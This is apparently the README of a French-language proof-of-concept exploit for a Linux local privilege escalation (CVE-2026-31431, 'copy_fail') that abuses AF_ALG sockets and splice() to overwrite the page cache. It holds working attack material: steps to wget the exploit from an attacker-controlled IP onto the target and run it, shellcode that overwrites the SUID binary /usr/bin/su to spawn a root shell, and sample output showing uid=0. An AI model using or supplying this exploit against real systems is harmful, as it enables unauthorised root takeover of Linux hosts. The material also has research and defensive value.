
Exploit shell PoC pour CVE-2026-31431 (copy_fail) — LPE Linux via AF_ALG + écrasement du cache de pages par splice. Tir unique, sans condition de course, noyau 4.9–6.18.
Élévation de privilèges locale via socket AF_ALG + écrasement du cache de pages avec splice().
Écrase un binaire SUID en lecture seule (/usr/bin/su) avec un ELF minimal qui appelle setuid(0) + execve("/bin/sh"). Pas de course critique, pas d'offsets spécifiques aux distributions, un seul tir.
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 est dans la fenêtre vulnérable (4.9 – 6.18) — poursuite
[*] Compilation...
[+] Compilation OK — lancement
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
Le socket AF_ALG (API crypto) du noyau Linux, combiné à splice(), permet une écriture dans un fichier ouvert en O_RDONLY en manipulant le cache de pages. Le noyau ignore la vérification des permissions d'écriture dans le raccourci copy-on-write du chemin splice du socket ALG — la même classe de bug que Dirty Pipe (CVE-2022-0847) mais déclenchée via un chemin de code différent introduit dans le noyau 4.9.
| Plage de noyaux | Statut |
|---|---|
| < 4.9 | Non concerné (chemin de code vulnérable absent) |
| 4.9 – 6.18 | Vulnérable (~9 ans, 2017–2026) |
| ≥ 6.19 | Corrigé |
| Distribution | Noyau |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
gcc disponible sur la cible/tmp# Sur la cible
wget http://<votre-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
Le script va :
/usr/bin/su avec la charge utile du shell rootSocket AF_ALG (AEAD)
│
│ sendmsg() avec données annexes forgées (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (socket d'opération)
▲
│ splice() : file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
Le chemin splice du noyau dans le socket ALG ignore la vérification des permissions copy-on-write, écrivant directement dans le cache de pages du fichier cible malgré son ouverture en lecture seule. La charge utile (un ELF de 160 octets) est écrite 4 octets à la fois sur 40 itérations.
Code shell de la charge utile :
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
| Fichier | Description |
|---|---|
copy_fail_exp.sh | Script Bash — compile et s'exécute sur la cible, aucun Python requis |
copy_fail_exp.py | Version Python originale pour référence |
copy_fail_exp_deobfuscated.py | Version Python désobfusquée et annotée |
Réservé aux tests de sécurité autorisés et aux environnements CTF/laboratoire. Ne pas utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite de test.